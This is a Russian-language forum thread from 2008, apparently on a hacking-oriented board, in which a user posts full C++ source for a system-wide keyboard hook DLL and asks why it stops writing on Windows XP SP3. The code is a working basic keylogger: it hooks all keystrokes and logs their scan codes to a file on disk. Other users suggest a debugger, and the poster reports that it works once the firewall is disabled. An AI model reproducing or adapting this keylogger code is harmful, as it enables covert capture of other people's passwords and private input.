Хуки и WinSP3

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by 4p3, 2 Nov 2008.

  1. 4p3

    4p3 Elder - Старейшина

    Joined:
    18 Aug 2008
    Messages:
    142
    Likes Received:
    30
    Reputations:
    0
    Столкнулся с проблемой, что простейший хук на клавиатуру не работает корректно на SP3. Тут же потестил на SP2 и все стало отлично работать? Что блокирует хук, если нет антивиря. Неужели встроенный фаервол работает?

    Приведенный ниже код отказывался писать в файл.
    Хотя все проверки выполнялись.

    Code:
    #include <windows.h>
    #include <stdio.h>
    
    #pragma data_seg(".SData")
    static HHOOK hKey = 0;
    static HANDLE hFile = INVALID_HANDLE_VALUE;
    CRITICAL_SECTION cs;
    #pragma data_seg()
    
    DWORD __stdcall FileWrite(void *lpPoint);
    LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
    
    void StartHook(HINSTANCE hLib)
    {
            hKey = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hLib, 0);
            hFile = CreateFile("C:\\outHook.txt",
                               GENERIC_WRITE,
                               FILE_SHARE_READ,
                               NULL,
                               CREATE_ALWAYS,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL);
            InitializeCriticalSection(&cs);
            if (hKey == NULL)
                    MessageBox(NULL, "Hook is not nested", "Error", MB_OK|MB_ICONERROR);
            if (hFile == INVALID_HANDLE_VALUE)
                    MessageBox(NULL, "File is not created", "Error", MB_OK|MB_ICONERROR);
    }
    
    void RemoveHook()
    {
            UnhookWindowsHookEx(hKey);
    }
    
    #pragma argsused
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
    {
            if (fwdreason == DLL_PROCESS_DETACH || fwdreason == DLL_THREAD_DETACH)
                    UnhookWindowsHookEx(hKey);
            return 1;
    }
    //---------------------------------------------------------------------------
    
    
    DWORD __stdcall FileWrite(void *lpPoint)
    {
            char szBuffer[100];
            ZeroMemory(szBuffer, 100);
            DWORD dwWritten = 0;
            DWORD *ScanCode = reinterpret_cast<DWORD*>(lpPoint);
            itoa(*ScanCode, szBuffer, 16);
    
            EnterCriticalSection(&cs);
                    WriteFile(hFile, szBuffer, strlen(szBuffer), &dwWritten, NULL);
                    WriteFile(hFile, "\n\r", 2, &dwWritten, NULL);
            LeaveCriticalSection(&cs);
    
            return 0;
    }
    
    LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
    {
            DWORD IsDown, ScanCode;
            IsDown = !(lParam >> 31);
            ScanCode = lParam << 8;
            ScanCode >>= 24;
    
    
            if (IsDown && code == HC_ACTION)
            {
                    CreateThread(NULL,
                                 0,
                                 FileWrite,
                                 &ScanCode,
                                 0,
                                 0);
    
            }
    
            return 0;
    }
    
    
    Это код для CBuilder 6. Именно его я тестил на SP2 и SP3.
     
  2. spider-intruder

    spider-intruder Elder - Старейшина

    Joined:
    9 Dec 2005
    Messages:
    700
    Likes Received:
    339
    Reputations:
    37
    Ну В файл писать отказался а перехват то работает или нет?! На каком этапе затыкается код при сп3 ?
     
  3. GALIAFF

    GALIAFF Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    45
    Likes Received:
    28
    Reputations:
    5
    4p3, отладчик в руки.
     
  4. 4p3

    4p3 Elder - Старейшина

    Joined:
    18 Aug 2008
    Messages:
    142
    Likes Received:
    30
    Reputations:
    0
    Отключил фаервол, стало работать.
    Сейчас будем разбираться в чем дело и где блочимся.
     
  5. 4p3

    4p3 Elder - Старейшина

    Joined:
    18 Aug 2008
    Messages:
    142
    Likes Received:
    30
    Reputations:
    0
    Это само собой, просто я хотел услышать мнение людей, которые уже сталкивались с этой проблемой и знают её корни.